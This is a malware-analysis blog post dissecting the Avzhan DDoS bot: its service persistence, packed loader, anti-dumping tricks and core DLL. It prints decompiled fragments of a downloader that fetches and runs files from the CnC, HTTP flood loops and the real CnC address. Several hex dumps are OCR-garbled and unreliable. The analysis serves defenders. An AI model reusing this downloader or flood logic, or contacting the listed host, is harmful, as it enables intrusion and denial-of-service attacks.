Avzhan DDoS bot dropped by Chinese drive-by attack

blog.malwarebytes.com/threat-analysis/2018/02/avzhan-ddos-bot-dropped-by-chinese-drive-by-attack/

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February 23, 2018



The Avzhan <u>DDoS</u> bot has been known since 2010, but recently we saw it in wild again, being dropped by a <u>Chinese drive-by attack</u>. In this post, we'll take a deep dive into its functionality and compare the sample we captured with the one <u>described in the past</u>.

Analyzed sample

05dfe8215c1b33f031bb168f8a90d08e – The version from 2010 (reference sample)

Behavioral analysis

Installation

After being deployed, the <u>malware</u> copies itself under a random name into a system folder, and then deletes the original sample:

► Local Disk (C:) ► Windows ► System32 ►			
New folder			
Name	Date modified	Туре	Size
🛃 mmkkme.exe	2018-02-19 12:55	Application	116 KB

Its way to achieve persistence is by registering itself as a Windows Service. Of course, this operation requires administrator rights, which means for successful installation, the sample must run elevated. There are no UAC bypass capabilities inside the bot, so it can only rely on some external droppers, using exploits or social engineering.

Example of added registry keys, related to registering a new service:

le	Edit View Favori	tes Help	
^	Name	Туре	Data
	ab (Default)	REG_SZ	(value not set)
	ab Description	REG_SZ	ProvidessII a domain server for NI security.
	ab DisplayName	REG_SZ	Nationalnmm Instruments Domain Service
	👪 ErrorControl	REG_DWORD	0x00000000 (0)
	ab ImagePath	REG_EXPAND_SZ	C:\Windows\system32\mmkkme.exe
	ObjectName	REG_SZ	LocalSystem
	🕮 Start	REG_DWORD	0x00000002 (2)
-	🕮 Type	REG_DWORD	0x00000010 (16)

We find it also on the list of the installed services:

Services					
File Action View	Help				
	à 📑 🚺 📷 🕨 🔳 💵 🕪				
Services (Local)	Name	Description	Status	Startup Type	Log On As
	🍓 Multimedia Class Scheduler	Enables relative prioritizat	Started	Automatic	Local System
	💫 Nationalnmm Instruments Domain Service	ProvidessII a domain serv	Started	Automatic	Local System
	🔍 Net.Msmq Listener Adapter	Receives activation reque		Disabled	Network Service

The interesting thing was also that the dropped main sample was infected with another malware, Virut – a very old family (and crashing on 64 bit systems). Once it was deployed, it started to infect other executables on the disk. More about Virut we will cover in another post.

Network traffic

We can see that the bot connects to its CnC:



Looking at the network traffic, we see the beacon that is sent. It is in a binary format and contains information collected about the victim system:

000003C0 00
000003D0 98 70 d1 77 1b 00 00 00 00 00 00 00 00 00 00 00 00 00
000003E0 23 00
000003F0 00
00000400 d0 00 00 07 00 00 00 00 05 7 69 6e 20 w win 00000410 37 20 53 50 31 00
00000410 37 20 53 50 31 00
00000420 00
00000430 00
00000440 00
00000450 20 4d 42 00
00000460 00
00000470 34 37 35 4d 48 7a 00
000000480 00
000000490 70 73 00
0000004A0 00
000004B0 a1 58 32 00 00 00 00 00 00 00 00 00 00 00 00 00
000004C0 00 00 00 00 00 00 00 00 00 00 00 00 0
000004D0 00 00 00 83 18 02 00
0000000 00 .
▼
3 client pkts, 3 server pkts, 3 turns.
Entire conversation (1241 bytes) Show and save data as Hex Dump - Stream 3

The beacon is very similar to the one described in 2010 by Arbor Networks <u>here</u>. The server responds with a single NULL byte.

During the experiments, we didn't capture traffic related to the typical DDoS activities performed by this bot. However, we can see such capabilities clearly in the code.

Inside the sample

Stage 1: the loader

The sample is distributed in a packed form. The main sample's original name is Cache.dat, and it exports one function: Ip.

Offset	Name		Value	N	Meaning	
5630	Characteristics		0			
5634	TimeDateStamp	imeDateStamp		0D9		
5638	MajorVersion	MajorVersion				
563A	MinorVersion		0			
563C	Name		5662	C	ache.dat	
5640	Base NumberOfFunctions NumberOfNames		Base 1			
5644			1			
5648			1			
564C	AddressOfFunctions		5658 565C			
5650	AddressOfNames					
5654	AddressOfNameOrd	meOrdinals				
Details						
Offset	Ordinal F	unctior	n RVA	Name RVA	Name	
5658	1 1	580		566C	Ip	

Looking inside the Ip, we can easily read that it creates a variable, fills it with strings, and then returns it:

```
00401580 ; Exported entry
                             1. Ip
00401580
00401580
00401580
00401580 exp_Ip proc near
00401580 push
                 esi
00401581 push
                 edi
                                  ; unsigned int
00401582 push
                 2A8h
00401587 call
                 ??2@YAPAXI@Z
                                  ; operator new(uint)
0040158C mov
                 edi, ds:wsprintfA
00401592 mov
                 esi, eax
00401594 push
                 offset aWm shiquanxian ; "wm.shiquanxian.cn:8080"
00401599 lea
                 eax, [esi+1A4h]
                                  ; LPSTR
0040159F push
                 eax
004015A0 call
                 edi ; wsprintfA
                 ecx, [esi+0A4h]
004015A2 lea
                 offset aProvidessllADo ; "Providessll a domain server for NI secu".
004015A8 push
                                  ; LPSTR
004015AD push
                 ecx
004015AE call
                 edi ; wsprintfA
004015B0 lea
                 edx, [esi+24h]
                 offset aNationalnmmIns ; "Nationalnmm Instruments Domain Service"
004015B3 push
                                  ; LPSTR
004015B8 push
                 edx
004015B9 call
                 edi ; wsprintfA
004015BB lea
                 eax, [esi+4]
004015BE push
                 offset aNationalcsm ; "Nationalcsm"
                                  ; LPSTR
004015C3 push
                 eax
004015C4 call
                 edi ; wsprintfA
                 esp, 24h
004015C6 add
004015C9 mov
                 eax, esi
004015CB pop
                 edi
004015CC pop
                 esi
004015CD retn
004015CD exp_Ip endp
```

Those are the same parameters that we observed during the behavioral analysis. For example, we can see that the service name is "Nationalscm" and the referenced server, probably CnC is: wm.shiquanxian.cn:8080 (that resolves to: 103.85.226.65:8080). So, this is likely the function responsible for filling those parameters and passing them further.

The main function of this executable is obfuscated, and the flow of the code is hard to follow —it consists of small chunks of code connected by jumps, in between of which junk instructions are added:

	.text:00403CE7	public start
	.text:00403CE7	start proc near
	.text:00403CE7	
	.text:00403CE7	; FUNCTION CHUNK AT .text:00403A93 SIZE 00000016 BYTES
	.text:00403CE7	; FUNCTION CHUNK AT .text:00403ADE SIZE 00000015 BYTES
	.text:00403CE7	FUNCTION CHUNK AT .text:00403B97 SIZE 0000002B BYTES
	.text:00403CE7	FUNCTION CHUNK AT .rsrc:0041C7DC SIZE 0000003F BYTES
	.text:00403CE7	
1	.text:00403CE7	push 6B3Ah
r.	.text:00403CEC	clc
ł.	.text:00403CED	pop ecx
L.	.text:00403CEE	xchg ah, dh
!	.text:00403CF0	jmp 100 403D9A
	.text:00403CF0	
1	.text:00403CF5	db 41h, 3, 0A1h
1	.text:00403CF8	dd 80C4006Eh, 72531A6Dh, 0D4D4EAEAh, 9E0F00h. 0F1CC81FEh
	.text:00403CF8	dd 1E050000h, 8AFF00D7h, 89AD326Ch, 931500h, 0E1093F00h
	.text:00403CF8	dd 36C0B232h, 53CCD93Ch, 0C7000019h, 0F73AC676h, 0C2E8DF00h
	.text:00403CF8	dd 0E3E6573Dh, 4959CA22h, 48C82800h, 6Bh, 0D8000000h, 2DD10000h
	.text:00403CF8	dd 0F0971645h, 0E3CDCA00h, 120049ABh, 5400B72Ah, 64963463h
	.text:00403CF8	dd 5E000046h, 3900EADDh, 8B08040Ch, 0A1E27805h, 5EBA981Fh
	.text:00403CF8	dd 58009502h, 117F11h, 0C5E0000h, 0A4E8C100h, 0ACB6h, 0AE970959h
	.text:00403CF8	dd 310E03F5h, 5BD31A00h, 7200402Fh
1	.text:00403D98	db 0C1h, 30h
	.text:00403D9A	;
	.text:00403D9A	
	.text:00403D9A	Loc_403D9A: ; CODE XREF: start-24A [†] j
	.text:00403D9A	; start+9 [†] j
1	.text:00403D9A	not ah
1	.text:00403D9C	not dl
1	.text:00403D9E	mov al, OEDh
1	.text:00403DA0	cld
1	.text:00403DA1	adc ds:word_416000[ecx], 8A62h
	.text:00403DAA	jmp 1oc_403B97
	.text:00403DAA	start endp
	.text:00403DAA	
	.text:00403DAA	
1	.text:00403DAF	db 71h
1	.text:00403DB0	dd 1A342Ch, 56000025h, 2F1FE7h, 7C2800h, 9200D8h, 9C061861h
	.text:00403DB0	dd 4A81B57Fh, 96A93879h, 0A8F89204h, 0AA3D07B0h, 6D0982h
	.text:00403DB0	dd 0A4F6CF5Ch, 5D00487Ah, 0A1431A0Ah, 15D59800h, 0E0E52035h
	.text:00403DB0	dd 0D8270000h, 16B99416h, 3D14008Fh, 0FD806A38h, 660674h
	L	AN OUTDOALOFT OPROADE OFOOFARE FAFAD.7RE OAFOTOOFFE

However, just below the function Ip, we see another one that looks readable:

.text:004015D0	proc ne	ar ; CODE XREF: .text:00403715↓p
.text:004015D0		
.text:004015D0 decoded_buffer	= byte	ptr -20h
.text:004015D0		
.text:004015D0	sub	esp, 20h
.text:004015D3	lea	ecx, [esp+20h+decoded_buffer]
.text:004015D7	<mark>call</mark>	sub_402A20
.text:004015DC	MOV	eax, dword_406124
.text:004015E1	push	offset obfuscated_buffer
.text:004015E6	push	eax
.text:004015E7	push	offset enc_key
.text:004015EC	lea	ecx, [esp+2Ch+decoded_buffer]
.text:004015F0	<mark>call</mark>	xor_based_decode
.text:004015F5	test	eax, eax
.text:004015F7	jz	short finish
.text:004015F9	MOV	ecx, dword_406124
.text:004015FF	push	offset obfuscated_buffer
.text:00401604	push	ecx
.text:00401605	lea	ecx, [esp+28h+decoded_buffer]
.text:00401609	<mark>call</mark>	load_pe_module
.text:0040160E	test	eax, eax
.text:00401610	jz	short finish
.text:00401612	push	offset OutputString ; "-Ëd'ĕdll"
.text:00401617	<mark>call</mark>	ds:OutputDebugStringA
.text:0040161D	push	offset aStartupserver ; "StartupServer"
.text:00401622	lea	ecx, [esp+24h+decoded_buffer]
.text:00401626	<mark>call</mark>	search_in_exports
.text:0040162B	<mark>call</mark>	eax ; <mark>call</mark> StartupService
.text:0040162D	lea	ecx, [esp+20h+decoded_buffer]
.text:00401631	<mark>call</mark>	cleanup
.text:00401636		
.text:00401636 finish:		; CODE XREF: sub_4015D0+27†j
.text:00401636		; sub_4015D0+401j
.text:00401636	lea	ecx, [esp+20h+decoded_buffer]
.text:0040163A	<mark>call</mark>	cleanup
.text:0040163F	xor	eax, eax
.text:00401641	add	esp, 20h
.text:00401644	retn	10h
.text:00401644	endp	

Looking at its features, we see that it is a good candidate for a function that actually unpacks and installs the payload in the following process:

- 1. It takes some hardcoded buffer and processes it—that looks like de-obfuscating the payload.
- 2. It searches a function "StartupService" in the export table of the unpacked payload—it gives us hint that the unpacked content is a PE file.
- 3. Finally, it calls the found function within the payload.

We can confirm this by observing the execution under the debugger. After the decoding function was called, we see that indeed the buffer becomes a new PE file:

00401503 00401507 00401507 0040150C 004015E1 004015E6 004015E7 004015E7 004015F5 004015F7 • 004015F7 • €AX=000000001	SUB ES LEA EC CALL 1 MOV EA PUSH 1 PUSH 1 LEA EC CALL 1 TEST E V JE SHO	P.0x20 x.DWORD P1 oader.0040 AX oader.0040 AX oader.0040 X.DWORD P1 oader.0040 AX,EAX RT loader.	R SS:[ESP] 32820 R DS:[0x40 36128 36040 R SS:[ESP+ 32860 00401636	6124] ØxC]	obfusca decode_	ated_buffer _buffer
00406128 4D 00406138 B8 00406138 00 00406148 00 00406158 00	5A 90 00 00 00 00 00 00 00	03 00 00 00 00 00 00 00 00 00 00 00	00 04 00 0 00 40 00 0 00 00 00 0 00 00 00 0	0 00 F 0 00 0 0 00 0 0 00 E	F FF 00 0 00 00 0 00 00 8 00 00	00 MZE. #
00406168 0E 00406178 69 00406188 74 00406188 6D 00406188 43 00406188 43 00406188 43 00406188 43 00406188 B6 00406188 9D 00406189 9D 00406208 00 00406218 CC	1F BA 0E0 73 20 70 20 62 65 64 65 E8 F1 71 AF 95 22 96 95 22 86 C2 22 96 94 22 96 98 26 96 96 96 96 96 96 96 96 96 96 96 96 96 9	00 84 09 72 6F2 67 20 72 75 2E 0D 0D 75 89 9F 71 89 9F 74 89 9F 74 89 9F 74 89 9F 74 89 9F 74 89 9F 74 89 9F	CD 21 B8 0 2 76E 61 6D 2 60 69 60 69 6 00A 24 00 0 9 22 75 89 9 22 75 89 9 22 1A 96 9 22 75 89 9 22 75 89 9 22 75 89 9 22 52 69 6 00 60 450 450 6 00 60 450 450 6 00 60 450 450 6 00 60 450 450 6 00 60 650 450 6 00 60 650 450 6 00 60 650 450 6 00 60 650 6 00 6 0	L 4C Cl 63 63 6 20 00 22 22 22 22 22 22 22 22 22 22 23 22 24 5 20 00 22 22 22 22 23 22 24 5 20 00 22 22 22 22 23 22 24 5 20 00 22 22 24 5 24 5 22 22 24 5 24 5	D 21 54 1 6E 68 0 00 9F 1 89 9F 1 89 9F 1 89 9F 7 89 9F 89 9F 89 9F 5 89 9F 5 89 9F 5 89 9F	68 A♥ A.+.=*\$80=*Th 6F is program canno 20 t be run in DOS 20 t be run in DOS 22 C>U"tëö"+UL"qëö" 22 +YU"qëö"+VT"wëö" 22 +YU"qëö"wët"+tëö" 22 ŁYT"tëö"Richuëč" 20 ŁYT"tëö"Richuëč" 00PE64.

At this moment, we can dump the buffer, trim it, and analyze it separately. It turns out that this is the core of the bot, performing all of the malicious operations. The PE file is in the raw format, so no unmapping is needed. Further, the loader will allocate another area of memory and map there the payload into the Virtual Format so that it can be executed.

Anti-dumping tricks

This malware uses few tricks to evade automated dumpers. First of all, the payload that is loaded is not aligned to the beginning of the page:

Dump - 013800	0000138DFFF			
01380000 F7 1B 7 01380010 A8 00 2 01380020 00 01 00 01380020 00 01 00 01 01380030 FE 03 7 01380050 04 00 00 01380050 04 00 00 01380050 04 00 00 01380070 00 00 00 01380070 02 1B 8 0 01380070 02 1B 8 0 01380070 01 B8 0 01380070 02 40 00 00 01380070 75 89 99 01380070 1A 96 95 01380070 1A 96 95 01380070 1A 96 95 01380170 52 69 65 01380120 50 45 00 01380120 50 45 00 00 50 40 00 00	$\begin{array}{cccccccccccccccccccccccccccccccccccc$	$ \begin{array}{cccccccccccccccccccccccccccccccccccc$	0 00 00 00 1,+qyŋJ 0 00 38 01 E.(0). 2 00 00 00 0 0 DF 38 01 0 0 13 00 00 00 00 00 0 10 00 00 00 00 0 0 10 00 00 00 00 0 0 10 00 00 00 00 0 R. 11 89 9F 22 uezvirue uezvirue 11 89 9F 22 uezvirue uezvirue 11 89 9F 22 uezvirue uezvirue 14 89 9F 22 uezvirue uez	80; t (0(080 ▲ 80.H0 80.H0 80.H0 80.H0 80.H0 80.H0 80.H0 12 14 18 18 18 18 18 20

If we dump it at this moment, we would also need to unmap it (i.e. by pe_unmapper) because this time it is in the Virtual Format. However, there are some unpleasant surprises: The relocation table and resources have been removed after use by the loader. This is why it is usually more reliable to dump the payload before it is mapped. However, some of the data inside the payload may be also filled on load. So if we don't dump both versions, we may possibly miss some information.

In the version from 2010, the outer layer is missing. The malware is distributed via a single executable that is an equivalent of the payload unpacked from the current sample.

Stage 2: the core

By following the aforementioned steps, we obtain the core DLL, named Server.dll. We find that the core is pretty old—this hash was seen for the first time on VirusTotal more than a year ago. However, it was not described in detail at that time, so I think it is still worth analyzing.

Offset	Name		Value	1	Meaning	
7E78	MajorVersion		0			
7E7A	MinorVersion	MinorVersion		0		
7E7C	Name		7EA2	Server.dll		
7E80	Base		1			
7E84	NumberOfFuncti	NumberOfFunctions				
7E88	NumberOfName	NumberOfNames				
7E8C	AddressOfFuncti	AddressOfFunctions				
7E90	AddressOfName	AddressOfNames				
7E94	AddressOfName	Ordinals	7EA0			
Details						
Offset	Ordinal	Function	RVA	Name RVA	Name	
7E98	1	2F65		7EAD	StartupServer	

The sample from 2010, in contrast, is not a DLL but a standalone EXE. Yet, looking at the strings and comparing both with the help of BinDiff, we can see striking similarities that prove that the core didn't evolve much.

Execution flow

The execution starts in the exported function: StartupServer. At the beginning, the sample calls OutputDebugStringA with non-ascii content. What's interesting is that the content is not random. The same bytes were used previously in the loader, just before executing the function within the payload. Yet, its purpose remains unknown.

```
01332FAD ; Exported entry 1. StartupServer
01332FAD
01332FAD
01332FAD ; Attributes: bp-based frame
01332FAD
01332FAD public StartupServer
01332FAD StartupServer proc near
01332FAD
01332FAD ServiceStartTable= SERVICE TABLE ENTRYA ptr -10h
01332FAD var 8= dword ptr -8
01332FAD var 4= dword ptr -4
01332FAD
01332FAD push
                 ebp
01332FAE mov
                 ebp, esp
01332FB0 sub
                 esp, 10h
01332FB3 push
                 ebx
01332FB4 push
                 esi
01332FB5 push
                 edi
01332FB6 push
                 offset OutputString ; "-Ëďěż"
01332FBB call
                 ds:OutputDebugStringA
```

It also tries to check if the current DLL has been loaded by the main module that exports a function "Ip." If it is so, it calls it:



As we remember, the function with exactly this name was exported by the outer layer. It was supposed to retrieve the configuration of the bot, such as the CnC address and Windows Service name. After being retrieved, the data gets copied into the bot's data section (the configuration gets hardcoded into the bot).

After that, the malware proceeds with its main functionality. We can see that the data that got retrieved and hardcoded is later being passed to the function installing the service:

```
01332FDB call
                 esi
01332FDD mov
                 esi, ds:lstrcpyA
01332FE3 mov
                 edi, eax
01332FE5 lea
                 eax, [edi+1A4h]
                                  ; 1pString2
01332FEB push
                 eax
01332FEC push
                 offset Str
                                  ; "wm.shiquanxian.cn:8080"
01332FF1 call
                 esi ; lstrcpyA
01332FF3 lea
                 eax, [edi+0A4h]
01332FF9 push
                                  ; 1pString2
                 eax
                 offset aProvidessllADo ; "Providessll a domain server for NI secu"..
01332FFA push
01332FFF call
                 esi ; lstrcpyA
01333001 lea
                 eax, [edi+24h]
                 ebx, offset DisplayName ; "Nationalnmm Instruments Domain Service"
01333004 mov
01333009 push
                 eax
                                  ; 1pString2
                 ebx
                                  ; 1pString1
0133300A push
0133300B call
                 esi ; lstrcpyA
                 edi, 4
0133300D add
01333010 push
                 edi
                                  ; 1pString2
                 edi, offset ServiceName ; "Nationalcsm"
01333011 mov
01333016 push
                 edi
                                  ; lpString1
                 esi ; lstrcpyA
01333017 call
01333019 call
                 open key
0133301E test
                 eax, eax
                 short <mark>failed</mark>
01333020 jz
```

Based on the presence of the corresponding registry keys, the malware distinguishes if this is its first run or if it had already been installed. Depending on this information, it can take alternative paths.

If the malware was not installed yet, it proceeds with the installation and exits afterward:

```
01333046
01333046 failed:
                                  ; "Providessll a domain server for NI secu"..
01333046 push
                 offset aProvidessllADo
0133304B push
                 ebx
                                  ; lpDisplayName
0133304C push
                 edi
                                  ; 1pServiceName
                 create service
0133304D call
01333052 add
                 esp, OCh
01333055 call
                 delete sample
0133305A push
                                  ; uExitCode
                 ß
0133305C call
                 ds:ExitProcess
0133305C StartupServer endp
```

Otherwise, it runs its main service function:

• • • • • • •

```
01333022 and
                 [ebp+var 8], 0
                 [ebp+var_4], 0
01333026 and
                 eax, [ebp+ServiceStartTable]
0133302A lea
                 [ebp+ServiceStartTable.lpServiceName], edi
0133302D mov
01333030 push
                                  ; lpServiceStartTable
                 eax
01333031 mov
                 [ebp+ServiceStartTable.lpServiceProc], offset run service socket
01333038 call
                 ds:StartServiceCtrlDispatcherA
0133303E push
                 1
01333040 pop
                 eax
01333041 pop
                 edi
                 esi
01333042 pop
01333043 pop
                 ebx
01333044 leave
01333045 retn
```

The main service function is responsible for communication with the CnC. It deploys a thread that reads commands and deploys appropriate actions:

```
void stdcall noreturn run service socket(int a1)
Ł
  struct WSAData WSAData; // [sp+10h] [bp-190h]@1
  hServiceStatus = RegisterServiceCtrlHandlerA(ServiceName, HandlerProc);
  ServiceStatus.dwServiceTupe = 32;
  ServiceStatus.dwControlsAccepted = 7;
  ServiceStatus.dwWin32ExitCode = 0;
  ServiceStatus.dwWaitHint = 2000;
  ServiceStatus.dwCheckPoint = 1;
  ServiceStatus.dwCurrentState = 2;
  SetServiceStatus(hServiceStatus, &ServiceStatus);
  ServiceStatus.dwCheckPoint = 0;
  Sleep(500u);
  ServiceStatus.dwCurrentState = 4;
  SetServiceStatus(hServiceStatus, &ServiceStatus);
  WSAStartup(0x202u, &WSAData);
  while (1)
  Ł
    q MainThread = CreateThread(0, 0, read respond commands, 0, 0, 0);
    WaitForSingleObject(q MainThread, 0xFFFFFFF);
    CloseHandle(q MainThread);
    closesocket(fd);
    is stop = 1;
    Sleep(300u);
  }
}
```

Functionality

First the bot connects to the CnC and sends a beacon containing information gathered about the victim system:

The information gathered is detailed, containing processor features as well as the Internet speed. We saw this data being sent during the behavioral analysis.

After the successful beaconing, it deploys the main loop, where is listens for the commands from the CnC, parses them, and executes:

```
while ( 1 )
{
    memset(&buf, 0, 0x400u);
    if ( !read_from_socket(fd, &buf, 0x408) || !read_from_socket(fd, var_174, v38) )
        break;
    if ( *var_174 > 6u )
    {
        switch ( *var_174 )
        {
            case 0x10:
                CmdLine = 0;
                memset(&v26, 0, 0x100u);
                v27 = 0;
        }
}
```

As we can see, the malware can act as a downloader—it can fetch and deploy a new executable from the link supplied by the CnC:

```
if ( *var 178 > 6u )
Ł
  switch ( *var_178 )
  Ł
   case 0x10:
      CmdLine = 0;
      memset(&v26, 0, 0x100u);
      v27 = 0;
      v28 = 0;
      v33 = 0;
      memset(&v34, 0, 0x7Cu);
      v35 = 0;
      v36 = 0;
      ( GetTempPath)(260, &CmdLine);
      v17 = GetTickCount();
      wsprintfA(&v33, aD, v17);
      (_WriteFile)(&CmdLine, &v33);
      urlmon = LoadLibraryA(&LibFileName);
      URLDownladdToFileA = GetProcAddress( urlmon, &v73);
      ( URLDownlandToFile()(0, var 174 read, &CmdLine, 10, 0);
      if ( *var 178 == 0x11 )
        v20 = 5;
      else
        v20 = 0;
      WinExec(&CmdLine, v20);
      break;
```

The CnC can also push an update of the main bot, as well as instruct the bot to fully remove itself.

But the most important capabilities lie in few different DDoS attacks that can be deployed remotely on any given target. The target address, as well as the attack ID, are supplied by the CnC.

```
v1 = 0;
Ł
   attack Func = 0;
j.
  v3 = *(1pParameter + 66);
3
   if ( is_stop )
Ŀ
   Ł
ł
     is_stop = 0;
     switch ( *(lpParameter + 69) )
ŀ
ř.
     {
       case 5:
i.
         attack Func = sub_1335208;
         v1 = (*(lpParameter + 67) == 1 ? deploy http invalid req : 0);
ł
J.
         break;
1
       case 6:
         attack Func = flood raw socket;
Þ
         break;
ł
       case 7:
         attack_func = deploy_http_invalid_req;
ŀ
         break;
ŝ
       case 8:
i.
         attack Func = get_http_image;
Ł
         break;
1
     ¥
     if ( V3 )
ł
I
     Ł
       04 = 03:
ł
       do
ŀ
       Ł
         if ( U1 )
ĩ.
            deploy_in_new_thread(v1, lpParameter);
i
         deploy in new thread(attack Func, lpParameter);
Ł
         --04;
j.
       }
3
       while ( v4 );
     }
Þ
     deploy_in_new_thread(sleep_and_stop, *(lpParameter + 65));
ł
   }
```

Among the requests that are prepared for the attacks, we can see the familiar strings, whose purpose was already described in <u>the report from 2010</u>. We can see the malformed GET request:

```
StartupInfo.dwFlags |= 1u;
if ( fill_invalid_get == 1 )
{
   strcpy(
      `G**(*{(G* $}##$& G*(*6 $}& G*.INTHEL' G6$5$$ $$# G**(*{(G* $}##$& G*(*6 $5$ G*.INHEL' G6$5$) $}# G**(*{(G* $}##}"
'*&C&*(*£^$$$C*.htmGET ^£&$5$$C*.htmGET (&**$$##$$C*.htmGET ^£&$$$C*.htmGET ^£&$$$C*(*£^$5$#f2**(*(C**`$$##$$C*(*£^$$*C*.htmGET ^£&$$$$
'''TMGET ^£&$$C*:*(*£'$$$##$*C*(*(E**`$$##$$C*.htmGET ^£&$$$$$$$#C**(*(C**`$$##$$C*(*£`$$##$*C*(*£`$$*C*.htmGET ^
''#`&**(*((C**`$$##$$C**(*£`$$$C*.htmGET ^£&$$$$`$$#`A**(*((&*`$$##$$C*.*£`$$$*C*.htmGET ^£&$$*C*.htmGET ^
''$C*.*(*£`$$$C*.htmGET ^£&$$$C*.htmGET ^£&$$$*G*.htmGET ^£&$$*C*.htmGET `$&$$`$$`C*.htmGET ^£&$$`$$`C*.htmGET `$&$$`C*.htmGET `$&
''$C*.*(*£`$$$^C*.htmGET ^£&$$`C*.htmGET `$&$$`C*.htmGET `$&$$`C*.htmGET `$&
''$`C*.*(*£`$$`C*.htmGET `$&$`C*.htmGET `$&$`C*.*(*(C**`$`C*.htmGET `$C*.*C*.*C*.*(*(C*.*C*.*C*.*C*.*C*.*));
}
else
ł
   if ( CreateProcessA(0, &buffer1, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation) )
   {
       Sleep(0x1388u);
       TerminateProcess(ProcessInformation.hProcess, 0);
   if ( rand_by_tick(1u) )
      if ( hostshort[0] == 80 )
wsprintfA(&buffer1, aGetSHttp1_1Hos, &v13, &cp);
       else
          wsprintfA(&buffer1, aGetSHttp1_1H_0, &v13, &cp, hostshort[0]);
   else if ( hostshort[0] == 80 )
   {
      v3 = rand_by_tick(2u) + 5;
       v4 = rand_by_tick(2u);
      wsprintfA(&buffer1, aGetSHttp1_10_0, &v13, &cp, v4 + 7, v3);
   3
```

As an alternative, it may use one of the valid GET requests, for example:

```
i ; CHAR aGetSHttp1 1Acc[]
 aGetSHttp1 1Acc db 'GET %s HTTP/1.1',0Dh,0Ah
                                          ; DATA XREF: depoloy mixed http attack+8E<sup>†</sup>o
                 db 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, appl'
                 db 'ication/x-shockwave-flash, application/vnd.ms-excel, application/'
                 db 'vnd.ms-powerpoint, application/msword, */*',0Dh,0Ah
                 db 'Accept-Language: zh-cn',ODh,OAh
                 db 'Accept-Encoding: gzip, deflate',0Dh,0Ah
                 db 'User-Agent:Mozilla/4.0 (compatible; MSIE %d.0; Windows NT %d.1; S'
                 db 'V1)',0Dh,0Ah
                 db 'Host: %s',0Dh,0Ah
                  db 'Connection: Keep-Alive',ODh,OAh
                 db 0Dh,0Ah,0
                 align 4
 ; CHAR aGetSHttp1_1A_1[]
 aGetSHttp1_1A_1 db 'GET %s HTTP/1.1',0Dh,0Ah ; DATA XREF: get_http_image+991o
                 db 'Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, appl'
                 db 'ication/x-shockwave-flash, application/vnd.ms-excel, application/'
                 db 'vnd.ms-powerpoint, application/msword, */*',0Dh,0Ah
                 db 'Accept-Language: zh-cn',ODh,OAh
                 db 'Accept-Encoding: gzip, deflate',0Dh,0Ah
                 db 'User-Agent:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1'
                 db ')',0Dh,0Ah
                 db 'Host: %s',0Dh,0Ah
                  db 'Connection: Keep-Alive',0Dh,0Ah
                  dh 00h 00h 0
```

The flooding function is deployed in a new thread, and repeats the requests in a loop until the stop condition is enabled. Example:

```
while ( is_stop != 1 )
{
    v7 = hostshort[0];
    v8 = get_host_by_name(&cp);
    my_socket = connect_to_socket(v8, v7);
    send(my_socket, &buffer1, strlen(&buffer1) + 1, 0);
    ((void (__stdcall *)(SOCKET))_close_socket)(my_socket);
    Sleep(0xAu);
}
```

Conclusion

This bot is pretty simple, prepared by an unsophisticated actor. Featurewise, it hasn't changed much over years. The only additions were intended to obfuscate the malware and give an ability to add the configuration by the outer layer.